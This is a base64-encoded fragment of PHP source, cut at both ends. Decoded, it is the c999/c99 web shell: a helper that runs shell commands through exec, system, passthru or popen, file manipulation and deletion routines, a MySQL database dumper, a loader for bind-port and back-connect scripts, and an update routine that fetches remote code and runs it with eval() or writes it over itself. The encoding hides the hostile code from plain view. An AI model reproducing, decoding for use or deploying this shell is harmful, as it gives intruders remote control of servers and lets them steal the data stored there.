b29raWUoInNvcnQiLCRzb3J0KTt9CiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyMm1pbmkiKSkKewpmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKQp7CiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pCiB7CiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7CiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOwogfQogZWxzZSB7cmV0dXJuICRjb250ZW50O30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gRkFMU0U7fQogZWxzZQogewogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9CiAgZWxzZWlmICgkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDQ4NTc2KjEwMCkvMTAwIC4iIE1CIjt9CiAgZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogIHJldHVybiAkc2l6ZTsKIH0KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKQp7CmZ1bmN0aW9uIGZzX2NvcHlfZGlyKCRkLCR0KQp7CiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7CiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBlbHNlIHskcmV0ID0gbWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7IGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkKewpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkKewogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkpO30KIGlmIChpc19kaXIoJGQpKQogewogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsKIH0KIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHtyZXR1cm4gY29weSgkZCwkdCk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQp7CmZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KQp7CiAkaCA9IG9wZW5kaXIoJGQpOwogaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQogIHsKICAgJHJldCA9IFRSVUU7CiAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcmV0dXJuIFRSVUU7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkKewpmdW5jdGlvbiBmc19tb3ZlX29iaigkZCwkdCkKewogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOwogaWYgKGlzX2RpcigkZCkpCiB7CiAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOwogfQogZWxzZWlmIChpc19maWxlKCRkKSkKIHsKICBpZihjb3B5KCRkLCR0KSkge3JldHVybiB1bmxpbmsoJGQpO30KICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fQogfQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybWRpciIpKQp7CmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQp7CiAkaCA9IG9wZW5kaXIoJGQpOwogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiB7CiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpCiAgewogICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30KICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9CiAgfQogfQogY2xvc2VkaXIoJGgpOwogcm1kaXIoJGQpOwogcmV0dXJuICFpc19kaXIoJGQpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3Jtb2JqIikpCnsKZnVuY3Rpb24gZnNfcm1vYmooJG8pCnsKICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsKIGlmIChpc19kaXIoJG8pKQogewogIGlmIChzdWJzdHIoJG8sLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskbyAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICByZXR1cm4gZnNfcm1kaXIoJG8pOwogfQogZWxzZWlmIChpc19maWxlKCRvKSkge3JldHVybiB1bmxpbmsoJG8pO30KIGVsc2Uge3JldHVybiBGQUxTRTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkKewpmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKQp7CiBnbG9iYWwgJGRpc2FibGVmdW5jOwogJHJlc3VsdCA9ICIiOwogaWYgKCFlbXB0eSgkY21kKSkKIHsKICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpO30KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9CiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2O30KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkKICB7CiAgICRyZXN1bHQgPSAiIjsKICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30KICAgcGNsb3NlKCRmcCk7CiAgfQogfQogcmV0dXJuICRyZXN1bHQ7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidGFic29ydCIpKSB7ZnVuY3Rpb24gdGFic29ydCgkYSwkYikge2dsb2JhbCAkdjsgcmV0dXJuIHN0cm5hdGNtcCgkYVskdl0sICRiWyR2XSk7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkKewpmdW5jdGlvbiB2aWV3X3Blcm1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdHlwZSA9ICJkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdHlwZSA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQogZWxzZSB7JHR5cGUgPSAiPyI7fQoKICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7CiAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsKICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7CiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOwogJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7CiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOwogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsKICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsKICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7CgogaWYgKCRtb2RlICYgMHg4MDApIHskb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQoKIHJldHVybiAkdHlwZS5qb2luKCIiLCRvd25lcikuam9pbigiIiwkZ3JvdXApLmpvaW4oIiIsJHdvcmxkKTsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKQp7CmZ1bmN0aW9uIHBhcnNlX3Blcm1zKCRtb2RlKQp7CiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQogZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHskdCA9ICJkIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0ID0gImwiO30KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQogZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApIHskdCA9ICJiIjt9CiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0ID0gImMiO30KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQogZWxzZSB7JHQgPSAiPyI7fQogJG9bInIiXSA9ICgkbW9kZSAmIDAwNDAwKSA+IDA7ICRvWyJ3Il0gPSAoJG1vZGUgJiAwMDIwMCkgPiAwOyAkb1sieCJdID0gKCRtb2RlICYgMDAxMDApID4gMDsKICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7CiAkd1siciJdID0gKCRtb2RlICYgMDAwMDQpID4gMDsgJHdbInciXSA9ICgkbW9kZSAmIDAwMDAyKSA+IDA7ICR3WyJ4Il0gPSAoJG1vZGUgJiAwMDAwMSkgPiAwOwogcmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlc29ydCIpKQp7CmZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkKewogJG9uZSA9IGludHZhbCgkc29ydCk7CiAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsKIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQp7CmZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pCnsKIGlmICghaXNfcmVhZGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9CiBlbHNlaWYgKCFpc193cml0YWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXdoaXRlPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTk5Z2V0c291cmNlIikpCnsKZnVuY3Rpb24gYzk5OWdldHNvdXJjZSgkZm4pCnsKIGdsb2JhbCAkYzk5OXNoX3NvdXJjZXN1cmw7CiAkYXJyYXkgPSBhcnJheSgKICAiYzk5OXNoX2JpbmRwb3J0LnBsIiA9PiAiYzk5OXNoX2JpbmRwb3J0X3BsLnR4dCIsCiAgImM5OTlzaF9iaW5kcG9ydC5jIiA9PiAiYzk5OXNoX2JpbmRwb3J0X2MudHh0IiwKICAiYzk5OXNoX2JhY2tjb25uLnBsIiA9PiAiYzk5OXNoX2JhY2tjb25uX3BsLnR4dCIsCiAgImM5OTlzaF9iYWNrY29ubi5jIiA9PiAiYzk5OXNoX2JhY2tjb25uX2MudHh0IiwKICAiYzk5OXNoX2RhdGFwaXBlLnBsIiA9PiAiYzk5OXNoX2RhdGFwaXBlX3BsLnR4dCIsCiAgImM5OTlzaF9kYXRhcGlwZS5jIiA9PiAiYzk5OXNoX2RhdGFwaXBlX2MudHh0IiwKICk7CiAkbmFtZSA9ICRhcnJheVskZm5dOwogaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjOTk5c2hfc291cmNlc3VybC4kbmFtZSk7fQogZWxzZSB7cmV0dXJuIEZBTFNFO30KfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTk5c2hfZ2V0dXBkYXRlIikpCnsKZnVuY3Rpb24gYzk5OXNoX2dldHVwZGF0ZSgkdXBkYXRlID0gVFJVRSkKewogJHVybCA9ICRHTE9CQUxTWyJjOTk5c2hfdXBkYXRldXJsIl0uIj92ZXJzaW9uPSIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoJEdMT0JBTFNbInNodmVyIl0pKS4iJnVwZGF0ZW5vdz0iLigkdXBkYXRlbm93PyIxIjoiMCIpLiImIjsKICRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwogaWYgKCEkZGF0YSkge3JldHVybiAiQ2FuJ3QgY29ubmVjdCB0byB1cGRhdGUtc2VydmVyISI7fQogZWxzZQogewogICRkYXRhID0gbHRyaW0oJGRhdGEpOwogICRzdHJpbmcgPSBzdWJzdHIoJGRhdGEsMyxvcmQoJGRhdGF7Mn0pKTsKICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMSIpIHtyZXR1cm4gIkVycm9yOiAiLiRzdHJpbmc7IHJldHVybiBGQUxTRTt9CiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDIiKSB7cmV0dXJuICJZb3UgYXJlIHVzaW5nIGxhdGVzdCB2ZXJzaW9uISI7fQogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAzIikKICB7CiAgICRzdHJpbmcgPSBleHBsb2RlKCJceDAxIiwkc3RyaW5nKTsKICAgaWYgKCR1cGRhdGUpCiAgIHsKICAgICRjb25mdmFycyA9IGFycmF5KCk7CiAgICAkc291cmNldXJsID0gJHN0cmluZ1swXTsKICAgICRzb3VyY2UgPSBmaWxlX2dldF9jb250ZW50cygkc291cmNldXJsKTsKICAgIGlmICghJHNvdXJjZSkge3JldHVybiAiQ2FuJ3QgZmV0Y2ggdXBkYXRlISI7fQogICAgZWxzZQogICAgewogICAgICRmcCA9IGZvcGVuKF9fRklMRV9fLCJ3Iik7CiAgICAgaWYgKCEkZnApIHtyZXR1cm4gIkxvY2FsIGVycm9yOiBjYW4ndCB3cml0ZSB1cGRhdGUgdG8gIi5fX0ZJTEVfXy4iISBZb3UgbWF5IGRvd25sb2FkIGM5OTlzaGVsbC5waHAgbWFudWFsbHkgPGEgaHJlZj1cIiIuJHNvdXJjZXVybC4iXCI+PHU+aGVyZTwvdT48L2E+LiI7fQogICAgIGVsc2Uge2Z3cml0ZSgkZnAsJHNvdXJjZSk7IGZjbG9zZSgkZnApOyByZXR1cm4gIlRoYW5rcyEgVXBkYXRlZCB3aXRoIHN1Y2Nlc3MuIjt9CiAgICB9CiAgIH0KICAgZWxzZSB7cmV0dXJuICJOZXcgdmVyc2lvbiBhcmUgYXZhaWxhYmxlOiAiLiRzdHJpbmdbMV07fQogIH0KICBlbHNlaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDQiKSB7ZXZhbCgkc3RyaW5nKTsgcmV0dXJuIDE7fQogIGVsc2Uge3JldHVybiAiRXJyb3IgaW4gcHJvdG9jb2w6IHNlZ21lbnRhdGlvbiBmYWlsZWQhICgiLiRkYXRhLiIpICI7fQogfQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2R1bXAiKSkKewpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpCnsKIGdsb2JhbCAkc2h2ZXI7CiAkc29jayA9ICRzZXRbInNvY2siXTsKICRkYiA9ICRzZXRbImRiIl07CiAkcHJpbnQgPSAkc2V0WyJwcmludCJdOwogJG5sMmJyID0gJHNldFsibmwyYnIiXTsKICRmaWxlID0gJHNldFsiZmlsZSJdOwogJGFkZF9kcm9wID0gJHNldFsiYWRkX2Ryb3AiXTsKICR0YWJzID0gJHNldFsidGFicyJdOwogJG9ubHl0YWJzID0gJHNldFsib25seXRhYnMiXTsKICRyZXQgPSBhcnJheSgpOwogJHJldFsiZXJyIl0gPSBhcnJheSgpOwogaWYgKCFpc19yZXNvdXJjZSgkc29jaykpIHtlY2hvKCJFcnJvcjogXCRzb2NrIGlzIG5vdCB2YWxpZCByZXNvdXJjZS4iKTt9CiBpZiAoZW1wdHkoJGRiKSkgeyRkYiA9ICJkYiI7fQogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30KIGlmIChlbXB0eSgkbmwyYnIpKSB7JG5sMmJyID0gMDt9CiBpZiAoZW1wdHkoJGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQogaWYgKGVtcHR5KCRmaWxlKSkKIHsKICAkZmlsZSA9ICR0bXBkaXIuImR1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRkYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7CiB9CiBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9CiBpZiAoZW1wdHkoJGFkZF9kcm9wKSkgeyRhZGRfZHJvcCA9IFRSVUU7fQogaWYgKHNpemVvZigkdGFicykgPT0gMCkKIHsKICAvLyByZXRyaXZlIHRhYmxlcy1saXN0CiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7CiAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0KIH0KICRvdXQgPSAiIyBEdW1wZWQgYnkgYzk5OVNoZWxsLlNRTCB2LiAiLiRzaHZlci4iCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1CiMKIyBIb3N0IHNldHRpbmdzOgojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIgojIERCOiBcIiIuJGRiLiJcIgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiI7CiAkYyA9IGNvdW50KCRvbmx5dGFicyk7CiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpCiB7CiAgaWYgKChpbl9hcnJheSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKQogIHsKICAgaWYgKCRhZGRfZHJvcCkgeyRvdXQgLj0gIkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30KICAgLy8gcmVjaWV2ZSBxdWVyeSBmb3IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7CiAgIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7CiAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YXJpYWJsZXMKICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7CiAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKQogICAgewogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpCiAgICAgewogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwogICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiAgICAgICRvdXQgLj0gJHNxbDsKICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiAkb3V0IC49ICIjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbiI7CiBpZiAoJGZpbGUpCiB7CiAgJGZwID0gZm9wZW4oJGZpbGUsICJ3Iik7CiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CiAgZWxzZQogIHsKICAgZndyaXRlICgkZnAsICRvdXQpOwogICBmY2xvc2UgKCRmcCk7CiAgfQogfQogaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiByZXR1cm4gJG91dDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpCnsKZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKQp7CiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30KICRyZXN1bHQgPSAiIjsKIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikKIHsKICAkdmFsdWUgPSAiIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9C